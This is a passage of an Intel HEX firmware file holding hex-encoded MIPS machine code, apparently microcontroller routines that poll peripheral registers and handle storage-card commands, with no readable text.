n:105100002120600021284000c9b9400f00000000a4\n:105110002000c227059d033cacfc642421284000ec\n:105120002013410f000000003400c2272200422457\n:10513000059d033c6cfc6424212840002013410f92\n:10514000000000002000c3273400c22723004224af\n:105150002120600021284000c9b9400f0000000054\n:105160002000c227059d033cb4fc64242128400094\n:105170002013410f00000000edd4400b00000000a0\n:105180001081828f33004014000000003400c227d9\n:1051900021204000059d023cecf945240200062434\n:1051a000d352410f000000002a004014000000000c\n:1051b0003400c227059d033cbcfc64242128400028\n:1051c0002013410f000000003400c22702004224d7\n:1051d000059d033c6cfc6424212840002013410ff2\n:1051e000000000002000c3273400c227030042242f\n:1051f0002120600021284000c9b9400f00000000b4\n:105200002000c227059d033cacfc642421284000fb\n:105210002013410f000000002000c3273400c227e4\n:10522000230042242120600021284000c9b9400ffa\n:10523000000000002000c227059d033cb4fc64244c\n:10524000212840002013410f00000000edd4400b46\n:10525000000000003400c227059d033c2cfc6424a0\n:10526000212840002013410f00000000edd4400b26\n:10527000000000003400c22721204000059d023cb0\n:10528000ecf9452402000624d352410f000000002f\n:1052900039004014000000003400c227059d033c83\n:1052a000ccfc6424212840002013410f00000000a2\n:1052b0002000c3273400c2270200422421206000be\n:1052c00021284000c9b9400f000000002000c2277b\n:1052d000059d033cacfc6424212840002013410fb1\n:1052e000000000003400c22722004224059d033c38\n:1052f0006cfc6424212840002013410f00000000b2\n:105300002000c3273400c22723004224212060004c\n:1053100021284000c9b9400f000000002000c2272a\n:10532000059d033cacfc6424212840002013410f60\n:10533000000000002000c3273400c227430042249d\n:105340002120600021284000c9b9400f0000000062\n:105350002000c227059d033cb4fc642421284000a2\n:105360002013410f0000000001000224108182afd1\n:10537000edd4400b000000003400c227059d033c23\n:105380002cfc6424212840002013410f0000000061\n:10539000edd4400b000000003400c227059d033c03\n:1053a0002cfc6424212840002013410f0000000041\n:1053b00000000000010002241400c2af1000c38fdf\n:1053c0009000c28f2b1062002dfe401400000000e0\n:1053d000059d023c44fa4424059d023c48fa4524bc\n:1053e0002013410f000000001400c28f21e8c00309\n:1053f0008400bf8f8000be8f8800bd270800e003b7\n:1054000000000000f8ffbd270400beaf21f0a0039c\n:1054100088bf023c5061428c010042300100422ca6\n:10542000ff00423021e8c0030400be8f0800bd2702\n:105430000800e00300000000f8ffbd270400beaf35\n:1054400021f0a0034281829721e8c0030400be8faf\n:105450000800bd270800e00300000000f8ffbd279a\n:105460000400beaf21f0a0033c81828f21e8c0037d\n:105470000400be8f0800bd270800e0030000000004\n:10548000f8ffbd270400beaf21f0a00388bf033c96\n:1054900040616294010004240400827c406162a4a3\n:1054a00088bf033ce060629401000424444a827c8b\n:1054b000e06062a488bf033cc0606294444a027cfe\n:1054c000c06062a488bf033c406162940100042470\n:1054d0004408827c406162a421e8c0030400be8fbe\n:1054e0000800bd270800e00300000000e8ffbd271a\n:1054f0001400bfaf1000beaf21f0a00319d9400fb8\n:105500000000000088bf033ce060629401000424b6\n:10551000444a827ce06062a42110000021e8c003bc\n:105520001400bf8f1000be8f1800bd270800e003d5\n:1055300000000000c8ffbd273400bfaf3000beaf81\n:1055400021f0a0033800c4af2110a0004000c6af76\n:105550003c00c2a388bf033ce0606294444a027ce2\n:10556000e06062a43c00c293059d043c80100200f0\n:1055700080180200231862001c3f82242110620060\n:10558000000042902800c2a34000c28f2400c2af96\n:105590003c00c293059d043c80100200801802006c\n:1055a000231862001c3f82242110620001004290f7\n:1055b0002000c2a32800c293010003248431627c2e\n:1055c0002800c2a32800c2932120400026d9400f02\n:1055d000000000002700c2932120400026d9400f80\n:1055e000000000002600c2932120400026d9400f71\n:1055f000000000002500c2932120400026d9400f62\n:10560000000000002400c2932120400026d9400f52\n:10561000000000002000c2932120400026d9400f46\n:10562000000000003c00c393050002240300621444\n:10563000000000003fd9400f0000000014000224c9\n:105640001000c2a73fd9400f000000001800c2a3fd\n:105650001000c297ffff42241000c2a71800c39396\n:10566000ff00022404006214000000001000c29732\n:10567000f4ff4014000000003c00c293059d033c71\n:105680001c3f63248010020080200200231082004f\n:10569000211062000400438c0200022408006214fe\n:1056a000000000001800c2931900c2a33fd9400fa8\n:1056b000000000001800c2a3e3d5400b000000006a\n:1056c0003c00c293059d033c1c3f632480100200f4\n:1056d0008020020023108200211062000400438c0d\n:1056e0000100022412006214000000000a00023cc3\n:1056f0001400c2af3fd9400f000000001800c2a341\n:105700001400c28fffff42241400c2af1800c293de\n:1057100004004014000000001400c28ff5ff401484\n:10572000000000001800c0a3e3d5400b00000000fb\n:105730003c00c293059d033c1c3f63248010020083\n:105740008020020023108200211062000400438c9c\n:10575000040002240d006214000000003fd9400f35\n:10576000000000001f00c2a33fd9400f000000004e\n:105770001e00c2a33fd9400f000000001d00c2a3bd\n:105780003fd9400f000000001c00c2a3ff0004240a\n:1057900026d9400f000000003c00c293059d043c48\n:1057a0008010020080180200231862001c3f82242f\n:1057b0002110620008004290060040140000000022\n:1057c00088bf033ce060629401000424444a827c68\n:1057d000e06062a43800c28f1800c48f1c00c38f21\n:1057e000000044ac040043ac3800c28f21e8c00381\n:1057f0003400bf8f3000be8f3800bd270800e003a3\n:1058000000000000d0ffbd272c00bfaf2800beafb6\n:1058100021f0a0033000c4af3400c5af0002022461\n:105820001400c2a7000202241800c2af3400c28fc5\n:105830001c00c2af3000c28f2000c2af01000224a2\n:105840002400c2a31400c227212040002bd6400f01\n:10585000000000001000c2a31000c2930400401416\n:10586000000000000100022425d6400b00000000cb\n:105870001000c393ff000224040062140000000023\n:105880002110000025d6400b0000000011d6400b6f\n:105890000000000021e8c0032c00bf8f2800be8f4d\n:1058a0003000bd270800e00300000000d0ffbd2746\n:1058b0002c00bfaf2800beaf21f0a0033000c4af62\n:1058c0003000c28f10004290020003248a0043106f\n:1058d00000000000030043280800601000000000e2\n:1058e0000e00401000000000010003240e004310d1\n:1058f0000000000048d7400b000000000300032414\n:105900005700431000000000fe000324f70043107e\n:105910000000000048d7400b0000000021100000ec\n:1059200051d7400b0000000000020224588082a7db\n:1059300000a0023c3000c38f0000648c0400678c20\n:105940000800668c0c00658c1000638c5c7244aca3\n:105950005c724424040087ac5c724424080086ac6a\n:105960005c7244240c0085ac5c724224100043ac91\n:1059700040818293080040140000000000a0023c17\n:105980005c7242240c00428c401a020000a0023ccf\n:105990005c7242240c0043ac00a0023c5c724224c6\n:1059a0000400428c0102422c0e0040100000000056\n:1059b000010002245c8082af00a0023c5c724224a1\n:1059c0000c00428c1800c327212060000800052429\n:1059d000213040004dd5400f0000000087d6400b1d\n:1059e000000000005c8080af00a0023c5c7242249a\n:1059f0000c00428c2000c3272120600009000524f0\n:105a0000213040004dd5400f000000002000c38f22\n:105a10002400c28f1800c3af1c00c2af1800c2938d\n:105a200007004010000000003000c28ffeff03247a\n:105a3000100043a00100022451d7400b00000000d9\n:105a40000400023c608082af3000c28f0300032458\n:105a5000100043a00100022451d7400b00000000b9\n:105a60006080828f1e004010000000006080828fe6\n:105a7000ffff4224608082af3fd9400f000000004a\n:105a80001600c2a31600c393ff0002241100621087\n:105a9000000000001600c393fe00022407006214f9\n:105aa000000000003000c28f02000324100043a059\n:105ab0000200022451d7400b000000003000c28fca\n:105ac000feff0324100043a00100022451d7400b25\n:105ad000000000000100022451d7400b000000002c\n:105ae0003000c28ffeff0324100043a001000224f7\n:105af00051d7400b0000000000a0023c5c72422421\n:105b00000400428c63004010000000003000c28f8f\n:105b10000000439400a0023c5c7243a43000c28f9a\n:105b20000800438c00a0023c5c724224080043ac95\n:105b300000a0023c5c7242240400438c00a0023ca2\n:105b40005c7242942318620000a0023c5c72422402\n:105b5000040043ac5880839700a0023c5c724294de\n:105b600023106200ffff4230588082a700a0023c51\n:105b70005c7242240800428c1000c2af00a0023cbc\n:105b80005c7242941400c2a71400c2972a0040100d\n:105b9000000000001000c28fffff42241000c2afbf\n:105ba00080bf023cff000324205e43ac1000c28f84\n:105bb000010042241000c2af1400c297ffff42242c\n:105bc0001400c2a71400c297040040140000000093\n:105bd0000000000004d7400b00000000000000009f\n:105be00080bf023c105e428c01004230fcff40103e\n:105bf0000000000080bf023c205e428cff0043306a\n:105c00001000c28f000043a0e8d6400b0000000047\n:105c100080bf023c105e428c01004230fcff40100d\n:105c20000000000080bf023c205e428cff00433039\n:105c30001000c28f000043a05880829712004014c9\n:105c4000000000003fd9400f000000003fd9400f86\n:105c50000000000000a0023c5c7242240400428c60\n:105c600004004010000000003000c28f0300032435\n:105c7000100043a000020224588082a701000224e1\n:105c800051d7400b000000000200022451d7400b06\n:105c9000000000005c80828f0700401400000000bc\n:105ca0002000c227212040000500052421300000eb\n:105cb0004dd5400f0000000088bf033ce0606294b7\n:105cc00001000424444a827ce06062a4ff000424b2\n:105cd00026d9400f000000003000c28f100040a005\n:105ce0002110000051d7400b000000003000c28f8f\n:105cf000ffff0324100043a02000c2272120400002\n:105d000005000524213000004dd5400f00000000a3\n:105d10002000c38f2400c28f1800c3af1c00c2af85\n:105d200088bf033ce060629401000424444a827c02\n:105d3000e06062a4ff00042426d9400f00000000a8\n:105d4000ff00022421e8c0032c00bf8f2800be8f73\n:105d50003000bd270800e00300000000c8ffbd2799\n:105d60003400bfaf3000beaf21f0a0033800c4af95\n:105d70003800c28f100042900200032478004310c4\n:105d8000000000000300432808006010000000002d\n:105d90001100401000000000010003241100431016\n:105da00000000000afd8400b0000000004000324f6\n:105db000150143100000000004004328d0006014c7\n:105dc00000000000fe0003242b014310000000002f\n:105dd000afd8400b0000000021100000b0d8400bed\n:105de0000000000000020224648082a700a0023ca0\n:105df0003800c38f0000648c0400678c0800668c38\n:105e00000c00658c1000638c5c7244ac5c724424a2\n:105e1000040087ac5c724424080086ac5c724424a5\n:105e20000c0085ac5c724224100043ac00a0023c24\n:105e30005c7242240400428c0102422c0500401096\n:105e4000000000000a000224668082a3b1d7400b44\n:105e5000000000000b000224668082a300a0023c28\n:105e60005c7242240400428c421202001000c2af55\n:105e70001000c28f04004014000000001000c28f08\n:105e8000010042241000c2af1c00c22721204000a4\n:105e90000f000524213000004dd5400f0000000008\n:105ea0001c00c29307004014000000002800c22715\n:105eb00021204000130005241000c68f4dd5400f4f\n:105ec00000000000408182930800401400000000a0\n:105ed00000a0023c5c7242240c00428c401a02007a\n:105ee00000a0023c5c7242240c0043ac66808293aa\n:105ef0002118400000a0023c5c7242240c00428c3d\n:105f00002800c42721286000213040004dd5400fd3\n:105f1000000000002800c38f2c00c28f1c00c3affc\n:105f20002000c2af1c00c293070040100000000018\n:105f30003800c28fffff0324100043a0ff0002249b\n:105f4000b0d8400b000000003800c28f02000324cc\n:105f5000100043a002000224b0d8400b0000000053\n:105f600064808397000202240d0062140000000088\n:105f7000668083930b000224060062140000000078\n:105f8000fc00042426d9400f00000000e8d7400b95\n:105f900000000000fe00042426d9400f000000008d\n:105fa0003800c28f0000439400a0023c5c7243a4fe\n:105fb0003800c28f0800438c00a0023c5c7242246f\n:105fc000080043ac00a0023c5c7242240400438cf5\n:105fd00000a0023c5c7242942318620000a0023cc4\n:105fe0005c724224040043ac6480839700a0023cae\n:105ff0005c72429423106200ffff4230648082a7eb\n:1060000000a0023c5c7242240800428c1400c2af23\n:1060100000a0023c5c7242941800c2a71400c28f18\n:10602000010043241400c3af000042902118400037\n:1060300080bf023c205e43ac1800c297ffff4224a1\n:106040001800c2a70000000080bf023c105e428c16\n:1060500001004230fcff40100000000080bf023c05\n:10606000205e428cff004230678082a31800c297f6\n:10607000eaff401400000000648082971d00401475\n:106080000000000000020224648082a7ff000424b4\n:1060900026d9400f00000000ff00042426d9400f3d\n:1060a000000000003fd9400f000000001f004330f7\n:1060b0000500022407006210000000003800c28fb3\n:1060c000feff0324100043a003000224b0d8400bbd\n:1060d000000000003800c28f03000324100043a01a\n:1060e0000a00023c688082af03000224b0d8400b53\n:1060f0000000000002000224b0d8400b00000000a5\n:106100006880828f3a004010000000006880828f13\n:10611000ffff4224688082afff00042426d9400f8d\n:10612000000000003fd9400f00000000678082a3fc\n:10613000678082932b0040100000000000a0023c0a\n:106140005c7242240400428c2000401400000000d5\n:106150000a00023c688082af668083930b000224b1\n:106160000d00621400000000fd00042426d9400f39\n:1061700000000000ff00042426d9400f00000000aa\n:106180003800c28f04000324100043a0030002243f\n:10619000b0d8400b0000000088bf033ce060629470\n:1061a00001000424444a827ce06062a4ff000424cd\n:1061b00026d9400f000000003800c28f100040a018\n:1061c00021100000b0d8400b000000003800c28f42\n:1061d00002000324100043a002000224b0d8400ba8\n:1061e0000000000003000224b0d8400b00000000b3\n:1061f0003800c28ffeff0324100043a003000224d6\n:10620000b0d8400b000000006880828f1a00401058\n:10621000000000006880828fffff4224688082af08\n:106220003fd9400f00000000678082a367808293ff\n:106230000e0040100000000088bf033ce060629444\n:1062400001000424444a827ce06062a4ff0004242c\n:1062500026d9400f000000003800c28f100040a077\n:1062600021100000b0d8400b000000000300022401\n:10627000b0d8400b000000002800c22721204000b9\n:1062800005000524213000004dd5400f000000001e\n:1062900088bf033ce060629401000424444a827c8d\n:1062a000e06062a4ff00042426d9400f0000000033\n:1062b0003800c28fffff0324100043a0ff00022418\n:1062c00021e8c0033400bf8f3000be8f3800bd27e7\n:1062d0000800e00300000000e0ffbd271c00bfaf86\n:1062e0001800beaf21f0a0032000c4af2400c5af4a\n:1062f0002110c0002800c2a32800c2930700401448\n:10630000000000002000c28f0400401400000000c4\n:1063100021100000eed8400b0000000000a0023c5d\n:1063200000020324707243a400a0023c7072422455\n:1063300000020324040043ac00a0023c707242241b\n:106340002400c38f080043ac00a0023c70724224ba\n:106350002000c38f0c0043ac00a0023c70724224aa\n:1063600001000324100043a000a0023c70724424ea\n:1063700057d7400f000000001000c2a31000c293c6\n:10638000040040140000000001000224eed8400b7d\n:10639000000000001000c393ff00022404006214f8\n:1063a0000000000021100000eed8400b00000000ab\n:1063b000dad8400b0000000021e8c0031c00bf8faa\n:1063c0001800be8f2000bd270800e0030000000079\n:1063d000f8ffbd270400beaf21f0a00388bf023c38\n:1063e0005061428c4000427cff00423021e8c003f3\n:1063f0000400be8f0800bd270800e0030000000075\n:10640000f0ffbd270c00beaf21f0a00321108000db\n:106410001000c2a31000c2930fd9400b0000c2a30a\n:106420000b2702240400c2af000000000400c28f4a\n:10643000ffff4324fdff40140400c3af0000c293dc\n:10644000ffff4324f6ff40140000c3a340000000f8\n:106450000000000021e8c0030c00be8f0800e0032c\n:106460001000bd27f8ffbd270400beaf21f0a00338\n:1064700080bf023c105e428cff7f433080bf023cf5\n:10648000105e43ac21e8c0030400be8f0800bd27a6\n:106490000800e00300000000e0ffbd271c00bfafc4\n:1064a0001800beaf21f0a003211080002000c2a37d\n:1064b0000000000080bf023c105e428c08004230a9\n:1064c000fcff4010000000002000c39380bf023c8e\n:1064d000205e43ac8357410f000000001000c2a3b0\n:1064e0002110000021e8c0031c00bf8f1800be8fe0\n:1064f0002000bd270800e00300000000e8ffbd27e2\n:106500001400bfaf1000beaf21f0a00300000000d8\n:1065100080bf023c105e428c08004230fcff4010fd\n:106520000000000080bf023cff000324205e43ac5b\n:106530008357410f00000000ff00423021e8c003f4\n:106540001400bf8f1000be8f1800bd270800e003a5\n:1065500000000000e8ffbd271400beaf21f0a0033b\n:106560001800c4af80bf023c105e40acc404023cc3\n:1065700000b442340000c2af3101023c002d42346d\n:106580000400c2af0400c28f401002000000c38f9d\n:106590001b006200f4014000101000001210000007\n:1065a0000800c2af0400c28f401002000000c38f79\n:1065b0001b006200f40140001010000004004010b5\n:1065c000000000000800c28f010042240800c2af92\n:1065d0000800c28f0101422c03004014000000009b\n:1065e000000102240800c2af0800c28f040040105e\n:1065f000000000000800c28fffff42240800c2af65\n:106600000800c28fff0042302118400080bf023cca\n:10661000305e43ac80bf033c005e628c010004240a\n:106620008431827c005e62ac80bf033c005e628c81\n:106630000442027c005e62ac88bf033cc06062948e\n:106640008452027cc06062a488bf033cc060629434\n:106650000400027cc06062a488bf033c8060629436\n:10666000010004240421827c806062a480bf033c7a\n:10667000005e628c01000424c47b827c005e62acfc\n:1066800021e8c0031400be8f1800bd270800e003f6\n:1066900000000000d8ffbd272400bfaf2000beaf20\n:1066a00021f0a00320030424008005341355410f7a\n:1066b00000000000c404023c00b442341000c2af29\n:1066c0000600023c801a42341400c2af1400c28f8c\n:1066d000401002001000c38f1b006200f401400054\n:1066e00010100000121000001800c2af1400c28f7a\n:1066f000401002001000c38f1b006200f401400034\n:106700001010000004004010000000001800c28fac\n:10671000010042241800c2af1800c28f0101422cb0\n:106720000300401400000000000102241800c2af62\n:106730001800c28f04004010000000001800c28f33\n:10674000ffff42241800c2af1800c28fff00423082\n:106750002118400080bf023c305e43ac21e8c003fa\n:106760002400bf8f2000be8f2800bd270800e00353\n:1067700000000000b0ffbd274c00bfaf4800beaf17\n:106780004400b0af21f0a003508080a3518080a3cb\n:106790003c8180af408180a388bf033ce06062946d\n:1067a00001000424444a827ce06062a4a5d9400f21\n:1067b000000000001e00042400d9400f000000006b\n:1067c00088bf033ce060629401000424444a827c58\n:1067d000e06062a41000c0a7fed9400b00000000da\n:1067e000ff00042426d9400f000000001000c297cb\n:1067f000010042241000c2a71000c2970a00422cd8\n:10680000f7ff401400000000640002241000c2a73b\n:1068100088bf033ce060629401000424444a827c07\n:10682000e06062a4ff00042426d9400f00000000ad\n:1068300088bf033ce0606294444a027ce06062a44a\n:106840001000c297ffff42241000c2a71c00c227fd\n:106850002120400021280000213000004dd5400fac\n:10686000000000001c00c393010002240400621019\n:10687000000000001000c297e5ff40140000000077\n:106880001000c2972a0040140000000088bf033c9b\n:10689000e060629401000424444a827ce06062a4c7\n:1068a000ff00042426d9400f0000000088bf033ced\n:1068b000e0606294444a027ce06062a43800c2272f\n:1068c0002120400005000524213000004dd5400f57\n:1068d000000000003800c38f3c00c28f1c00c3af13\n:1068e0002000c2af3800c22721204000212800002c\n:1068f000213000004dd5400f000000003800c38f4c\n:106900003c00c28f1c00c3af2000c2af1c00c39369\n:1069100001000224060062100000000002000224b0\n:10692000508082a3508082277adb400b0000000059\n:106930003800c2272120400002000524aa010624b5\n:106940004dd5400f000000003800c38f3c00c28fbf\n:106950001c00c3af2000c2af2000c28fff0f433026\n:10696000aa0102244a006214000000001c00c28f29\n:106970000400423046004014000000003800c227e6\n:106980002120400010000524213000004dd5400f8b\n:10699000000000003800c38f3c00c28f1c00c3af52\n:1069a0002000c2af1000c0a784da400b0000000036\n:1069b0003800c227212040000f00052421300000ac\n:1069c0004dd5400f000000003800c22721204000b4\n:1069d000120005240040063c4dd5400f0000000089\n:1069e0003800c38f3c00c28f1c00c3af2000c2af71\n:1069f0001c00c293030040140000000088da400b22\n:106a0000000000001000c297010042241000c2a73d\n:106a10001000c397ffff0234e5ff6214000000007e\n:106a20001000c397ffff023403006214000000004f\n:106a300002000224508082a33800c2272120400097\n:106a400010000524213000004dd5400f000000004b\n:106a50003800c38f3c00c28f1c00c3af2000c2af00\n:106a60002000c38f0040023c24106200050040104b\n:106a70000000000001000224408182a3d0da400b14\n:106a800000000000408180a3d0da400b000000002d\n:106a900088bf033ce060629401000424444a827c85\n:106aa000e06062a40100042400d9400f000000004f\n:106ab00088bf033ce0606294444a027ce06062a4c8\n:106ac000408180a3ff1f02241000c2a73800c22704\n:106ad0002120400001000524213000004dd5400f49\n:106ae000000000003800c38f3c00c28f1c00c3af01\n:106af0002000c2af1000c297ffff42241000c2a7bf\n:106b00001c00c29304004010000000001000c29757\n:106b1000eeff4014000000001000c297080040146f\n:106b20000000000002000224508082a388bf033cc2\n:106b3000e060629401000424444a827ce06062a424\n:106b400088bf033ce060629401000424444a827cd4\n:106b5000e06062a43e00042455d9400f000000000c\n:106b600088bf033ce0606294444a027ce06062a417\n:106b7000140002241000c2a73800c22721204000c0\n:106b800003000524213000004dd5400f0000000017\n:106b90003800c38f3c00c28f1c00c3af2000c2afbf\n:106ba0001000c297ffff42241000c2a71c00c2932e\n:106bb00004004010000000001000c297eeff4014d7\n:106bc000000000001000c2970b00401400000000fd\n:106bd00002000224508082a388bf033ce0606294dc\n:106be00001000424444a827ce06062a45080822731\n:106bf0007adb400b000000001300c0a31200c0a30a\n:106c000017db400b000000001300d0933fd9400f6a\n:106c100000000000211840001000c2272110500081\n:106c2000140043a01300c293010042241300c2a326\n:106c30001200c29306004014000000002400c39319\n:106c4000fe00022402006214000000001300c0a332\n:106c50001200c293010042241200c2a31200c29388\n:106c60001400422ce8ff401400000000000202243f\n:106c7000428182a700020224528082a7518082931f\n:106c8000010003240400627c518082a32400c2938b\n:106c9000c000423011004010000000002b00c293e1\n:106ca0003f004230001c02002c00c2930012020080\n:106cb000251862002d00c293251062001400c2af97\n:106cc0001400c28f0100422480120200ffff422400\n:106cd0003c8182af67db400b000000002a00c293ba\n:106ce000001c02002b00c293001202002518620053\n:106cf0002c00c293251062001400c2af1400c38f91\n:106d00000300023cc0ff4234241062001400c2aff2\n:106d10001400c28f821102001400c2af2d00c29372\n:106d200003004230ff00423040100200ff004330b9\n:106d30002e00c293c2110200ff00423025106200f3\n:106d40001800c2a32900c2930f0042301900c2a349\n:106d50001900c293f7ff42240100032404104300ea\n:106d60001900c2a31400c28f010043241800c2936b\n:106d7000020042240100042404104400ffff4230ba\n:106d8000180062001900c293121800001800620077\n:106d900012180000ffff62243c8182af3800c22736\n:106da0002120400011000524213000004dd5400f66\n:106db00000000000428182973800c3272120600034\n:106dc00007000524213040004dd5400f0000000091\n:106dd00088bf033ce060629401000424444a827c42\n:106de000e06062a45080822721e8c0034c00bf8f7e\n:106df0004800be8f4400b08f5000bd270800e0035c\n:106e000000000000e8ffbd271400bfaf1000beafb8\n:106e100021f0a0031800c4af1800c48f3bff400f3f\n:106e20000000000021e8c0031400bf8f1000be8fd7\n:106e30001800bd270800e00300000000c0ffbd27c8\n:106e40003c00bfaf3800beaf21f0a0034000c4af8c\n:106e50004400c5af1000c227212040004400c58f68\n:106e6000fddb400f000000000900401000000000a2\n:106e70004000c48f1000c2272128400028000624ab\n:106e800063b9400f00000000a5db400b00000000cc\n:106e90002110000021e8c0033c00bf8f3800be8fe6\n:106ea0004000bd270800e00300000000e8ffbd2708\n:106eb0001400bfaf1000beaf21f0a0031800c4af94\n:106ec0001c00c5af1800c48f1c00c58fc5db400f68\n:106ed0000000000008004010000000001800c48fef\n:106ee0001800c58f4000062463b9400f0000000061\n:106ef000bfdb400b000000002110000021e8c003b0\n:106f00001400bf8f1000be8f1800bd270800e003db\n:106f100000000000a8ffbd275400bfaf5000beaf67\n:106f20004c00b0af21f0a0035800c4af5c00c5af67\n:106f30005c00c48fa34a410f000000000b00422cec\n:106f4000040040140000000021100000f6db400b9c\n:106f5000000000001000c22721204000300005245e\n:106f60000a0006246551410f000000005c00c48f38\n:106f7000a34a410f000000000a000324231062000e\n:106f80001000c327218062005c00c48fa34a410f18\n:106f900000000000212000025c00c58f213040006d\n:106fa000494a410f000000001c00c2272120400078\n:106fb0001000c22721284000e7b8400f0000000061\n:106fc0001c00c2275800c48f21284000a7dc400fb6\n:106fd000000000000100022421e8c0035400bf8f1c\n:106fe0005000be8f4c00b08f5800bd270800e00352\n:106ff00000000000e0ffbd271c00bfaf1800beafbf\n:1070000021f0a0032000c4af2400c5af1400c0a32a\n:107010001500c0a31600c0a31700c0a300a0023c27\n:10702000dc1c44242400c58fe7b8400f000000009a\n:10703000040040140000000021100000a1dc400bff\n:10704000000000001000c0a322dc400b0000000084\n:107050001000c39300a0023cdc1c422421106200fb\n:1070600000004390010002240400621000000000b0\n:1070700021100000a1dc400b000000001000c293b2\n:10708000010042241000c2a31000c2930900422c48\n:10709000efff4014000000001000c0a354dc400bc0\n:1070a000000000001000c293801002002000c38f77\n:1070b000212062001000c3932110600080100200a4\n:1070c000211043000900432400a0023cdc1c4224a0\n:1070d000211062002128400004000624494a410f83\n:1070e000000000001000c293801002002000c38f37\n:1070f0002110620021204000212800000400062405\n:10710000ffbc400f00000000212040001000c3938e\n:107110002110600080100200211043000d00432464\n:1071200000a0023cdc1c42242110620000004290be\n:10713000040082100000000021100000a1dc400bc0\n:10714000000000001000c293010042241000c2a3fe\n:107150001000c2930a00422cd2ff4014000000002d\n:107160001000c0a379dc400b000000001100c0a398\n:1071700072dc400b000000001100c2931100c393a9\n:107180001000c42721188300040064901000c393ea\n:10719000802803001100c3932118a3002000c58f8d\n:1071a0002118a3000000639021188300ff006330c2\n:1071b0001000c42721108200040043a01100c293d4\n:1071c000010042241100c2a31100c2930400422c0a\n:1071d000e9ff4014000000001000c29301004224a7\n:1071e0001000c2a31000c2930a00422cdfff40141b\n:1071f000000000001000c0a394dc400b0000000061\n:107200001000c2931000c3272110620004004290b6\n:1072100001004230ff0043301000c2933b00442481\n:1072200000a0023cdc1c422421108200000042909d\n:10723000040062100000000021100000a1dc400bdf\n:10724000000000001000c293010042241000c2a3fd\n:107250001000c2930400422ce9ff4014000000001b\n:1072600000a0023cdc1c42243f004290040040107d\n:107270000000000021100000a1dc400b0000000015\n:107280000100022421e8c0031c00bf8f1800be8f3c\n:107290002000bd270800e00300000000e0ffbd273c\n:1072a0001c00bfaf1800beaf21f0a0032000c4af88\n:1072b0002400c5af1400c0a31500c0a31600c0a3ce\n:1072c0001700c0a32000c48f010005240900062474\n:1072d0006551410f000000002000c28f09004224c8\n:1072e0002000c2af1000c0a3eedc400b0000000085\n:1072f0001200c0a31200c2931100c2a3dfdc400b36\n:10730000000000002400c28f000043902000c28fc4\n:10731000000043a02400c28f000043901200c293db\n:10732000211062001200c2a31100c2931100c39386\n:107330001000c42721188300040064902400c38f28\n:107340000000639021188300ff0063301000c42701\n:1073500021108200040043a01100c29301004224c6\n:107360001100c2a32400c28f010042242400c2af36\n:107370002000c28f010042242000c2af1100c2933e\n:107380000400422cdfff4014000000001200c293f2\n:1073900001004230ff0043302000c28f000043a0b4\n:1073a0001000c293010042241000c2a32000c28f2b\n:1073b000010042242000c2af1000c2930a00422cf8\n:1073c000cbff4014000000001000c0a303dd400b01\n:1073d000000000001000c2931000c32721106200bb\n:1073e0000400429001004230ff0043302000c28f71\n:1073f000000043a01000c293010042241000c2a369\n:107400002000c28f010042242000c2af1000c293ae\n:107410000400422cefff4014000000002000c28f47\n:10742000000040a021e8c0031c00bf8f1800be8fe1\n:107430002000bd270800e0030000000060ffbd271a\n:107440009c00bfaf9800beaf21f0a003a000c4af66\n:107450002110a000a800c6afac00c7afa400c2a313\n:107460002c00c22721204000a000c58f7f49410f7a\n:1074700000000000a400c383ffff0224210062106b\n:1074800000000000a400c2836800c3272120600020\n:1074900021284000040006244cb6400f00000000e4\n:1074a0006800c2272120400004000524abbc400f27\n:1074b000000000006c00c0a36d00c0a36800c227dc\n:1074c000212040002128000006000624ffbc400fb8\n:1074d000000000006e00c2a3a000c48fa34a410fa9\n:1074e000000000002c00c327211862006800c2279a\n:1074f000212060002128400007000624aaba400f7e\n:1075000000000000a800c28f23004010000000000f\n:107510006800c22721204000ac00c58fe7b8400fab\n:10752000000000006800c227212040002000052440\n:10753000abbc400f000000002c00c22721204000ff\n:10754000a34a410f000000002800c2a32800c293f4\n:107550002c00c327211862006800c2272120600088\n:1075600021284000d9de400f000000002800c2930f\n:107570002c00c327211862002800c2932c00c427c6\n:107580002110820021206000212840002d000624c7\n:10759000aaba400f0000000088bf023c2061428c64\n:1075a00002004230200040100000000000a0023c19\n:1075b000dc5642249c00428c4218020000a0023c8f\n:1075c000dc5642249c00428c0300042421286000e5\n:1075d0002130400008000724ce0b410f00000000be\n:1075e00000a0023cdc5642249c00438c00a0023cdc\n:1075f000dc564224f000428c180062001220000089\n:107600009000c4afeb51023c1f8542349000c38f01\n:1076100019006200101000004211020021204000f9\n:10762000400e410f000000002c00c2272120400026\n:10763000f3dd400f000000000400401400000000d3\n:1076400021100000eddd400b00000000b000c28ff3\n:107650000500401000000000350002242800c2a3ed\n:107660009cdd400b00000000080002242800c2a39b\n:10767000b800c28f150040100000000000a0023cbe\n:10768000dc564224f800438cb800c28f21186200f7\n:1076900000a0023cdc5642249c00428c1800620090\n:1076a000122000009000c4afeb51023c1f85423411\n:1076b0009000c38f190062001010000042110200f8\n:1076c00021204000400e410f0000000000a0023cbd\n:1076d000dc5642249c00448c00a0023cdc56422430\n:1076e000a400458c2800c29300a0033cdc56632410\n:1076f000bc0063902138600000a0033cdc5663248a\n:107700008c00668c2c00c32700a0083c99570825e4\n:107710001000a8af1400a7af1800a6af0100062400\n:107720001c00a6af2000a0af21306000213840002f\n:10773000a9ff400f00000000211840002800c2935c\n:107740001b006214000000002c00c2272120400012\n:10775000059d023c9c5f452408000624d352410f3e\n:107760000000000004004010000000002110000094\n:10777000eddd400b00000000b000c28f090040109a\n:10778000000000002c00c22708004224b400c48f6f\n:107790002128400038df400f00000000eddd400be5\n:1077a0000000000001000224eddd400b000000009d\n:1077b0002110000021e8c0039c00bf8f9800be8ffd\n:1077c000a000bd270800e00300000000e8ffbd277f\n:1077d0001400bfaf1000beaf21f0a0031800c4af6b\n:1077e00001000424ff0d410f000000000ade400be1\n:1077f0000000000021200000ff0d410f00000000ec\n:107800002118400000a0023cdc5642248c00428c2f\n:107810002b10430004004010000000002110000065\n:107820005dde400b0000000088bf023cd060428c4f\n:1078300000014230efff4014000000001ede400b4c\n:107840000000000021200000ff0d410f000000009b\n:107850002118400000a0023cdc5642248c00428cdf\n:107860002b10430004004010000000002110000015\n:107870005dde400b0000000088bf023cd060428cff\n:1078800000014230efff40100000000000a0023c69\n:10789000dc564224e000428c2120400001000524f7\n:1078a0009e0c410f0000000000a0023cdc56422468\n:1078b000e400428c21204000c80c410f0000000071\n:1078c00053de400b000000001800c28f0000439000\n:1078d00031000224090062140000000000a0023cf4\n:1078e000dc564224e800428c21204000c80c410fa5\n: